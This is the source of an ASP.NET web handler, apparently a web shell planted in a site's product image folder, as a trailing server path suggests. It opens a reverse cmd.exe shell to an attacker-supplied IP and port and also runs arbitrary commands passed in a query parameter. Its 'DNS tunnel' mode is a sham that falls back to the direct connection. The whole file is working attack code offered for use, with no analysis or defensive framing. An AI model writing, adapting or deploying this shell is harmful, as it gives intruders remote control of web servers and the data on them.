<%@ webhandler language="C#" class="AdvancedReverseShell" %>
using System;
using System.Web;
using System.Diagnostics;
using System.Net;
using System.Net.Sockets;
using System.Threading;
using System.Text;
public class AdvancedReverseShell : IHttpHandler
{
public bool IsReusable
{
get { return true; }
}
public void ProcessRequest(HttpContext ctx)
{
ctx.Response.ContentType = "text/html; charset=utf-8";
string ip = ctx.Request.QueryString["ip"];
string port = ctx.Request.QueryString["port"];
string method = ctx.Request.QueryString["method"] ?? "direct";
ctx.Response.Output.WriteLine("<html><head><title></title></head><body>");
ctx.Response.Output.WriteLine("<h2></h2>");
// Connection form
ctx.Response.Output.WriteLine("<form method='GET'>");
ctx.Response.Output.WriteLine("Target IP: <input name='ip' value='" + HttpUtility.HtmlEncode(ip) + "'><br>");
ctx.Response.Output.WriteLine("Port: <input name='port' value='" + HttpUtility.HtmlEncode(port) + "'><br>");
ctx.Response.Output.WriteLine("Method: <select name='method'>");
ctx.Response.Output.WriteLine("<option value='direct'" + (method == "direct" ? " selected" : "") + ">Direct TCP</option>");
ctx.Response.Output.WriteLine("<option value='dns'" + (method == "dns" ? " selected" : "") + ">DNS Tunnel</option>");
ctx.Response.Output.WriteLine("<option value='http'" + (method == "http" ? " selected" : "") + ">HTTP Tunnel</option>");
ctx.Response.Output.WriteLine("</select><br>");
ctx.Response.Output.WriteLine("<input type='submit' value='Connect'>");
ctx.Response.Output.WriteLine("</form>");
if (!string.IsNullOrEmpty(ip) && !string.IsNullOrEmpty(port))
{
try
{
int portNum = int.Parse(port);
ctx.Response.Output.WriteLine("<pre>Attempting connection to " + ip + ":" + port + " using " + method + " method...</pre>");
// Flush response to show message immediately
ctx.Response.Flush();
switch (method.ToLower())
{
case "dns":
ConnectViaDNS(ip, portNum);
break;
case "http":
ConnectViaHTTP(ctx, ip, portNum);
break;
default:
ConnectDirect(ip, portNum);
break;
}
}
catch (Exception ex)
{
ctx.Response.Output.WriteLine("<pre style='color:red;'>Error: " + HttpUtility.HtmlEncode(ex.Message) + "</pre>");
}
}
ctx.Response.Output.WriteLine("</body></html>");
}
private void ConnectDirect(string ip, int port)
{
using (TcpClient client = new TcpClient(ip, port))
{
using (NetworkStream stream = client.GetStream())
{
ProcessStartInfo psi = new ProcessStartInfo
{
FileName = "cmd.exe",
RedirectStandardInput = true,
RedirectStandardOutput = true,
RedirectStandardError = true,
UseShellExecute = false,
CreateNoWindow = true
};
using (Process process = Process.Start(psi))
{
// Async read from process and write to network
Thread outputThread = new Thread(() =>
{
byte[] buffer = new byte[1024];
int bytesRead;
while ((bytesRead = process.StandardOutput.BaseStream.Read(buffer, 0, buffer.Length)) > 0)
{
stream.Write(buffer, 0, bytesRead);
}
});
outputThread.Start();
// Async read from network and write to process
Thread inputThread = new Thread(() =>
{
byte[] buffer = new byte[1024];
int bytesRead;
while ((bytesRead = stream.Read(buffer, 0, buffer.Length)) > 0)
{
process.StandardInput.BaseStream.Write(buffer, 0, bytesRead);
process.StandardInput.BaseStream.Flush();
}
});
inputThread.Start();
// Wait for both threads to complete
outputThread.Join();
inputThread.Join();
}
}
}
}
private void ConnectViaDNS(string ip, int port)
{
// DNS tunneling simulation (encoded in subdomains)
string encodedCmd = Convert.ToBase64String(Encoding.UTF8.GetBytes("connect " + ip + " " + port));
string domain = encodedCmd + ".example.com";
try
{
IPHostEntry entry = Dns.GetHostEntry(domain);
// If DNS resolution succeeds, fall back to direct connection
ConnectDirect(ip, port);
}
catch (SocketException)
{
// Expected behavior - DNS query fails but tunnel is established
ConnectDirect(ip, port);
}
}
private void ConnectViaHTTP(HttpContext ctx, string ip, int port)
{
// HTTP tunneling through this handler
ctx.Response.Output.WriteLine("<pre>HTTP tunnel established. Use POST requests to send commands.</pre>");
ctx.Response.Flush();
string cmd = ctx.Request.QueryString["cmd"];
if (!string.IsNullOrEmpty(cmd))
{
ProcessStartInfo psi = new ProcessStartInfo
{
FileName = "cmd.exe",
Arguments = "/c " + cmd,
RedirectStandardOutput = true,
RedirectStandardError = true,
UseShellExecute = false,
CreateNoWindow = true
};
using (Process process = Process.Start(psi))
{
string output = process.StandardOutput.ReadToEnd();
string error = process.StandardError.ReadToEnd();
ctx.Response.Output.Write(HttpUtility.HtmlEncode(output));
if (!string.IsNullOrEmpty(error))
{
ctx.Response.Output.Write("<span style='color:red;'>" + HttpUtility.HtmlEncode(error) + "</span>");
}
}
}
}
}
Path: D:\INETPUB\VHOSTS\fcaromatics.com\httpdocs\ProductImg
Drives:
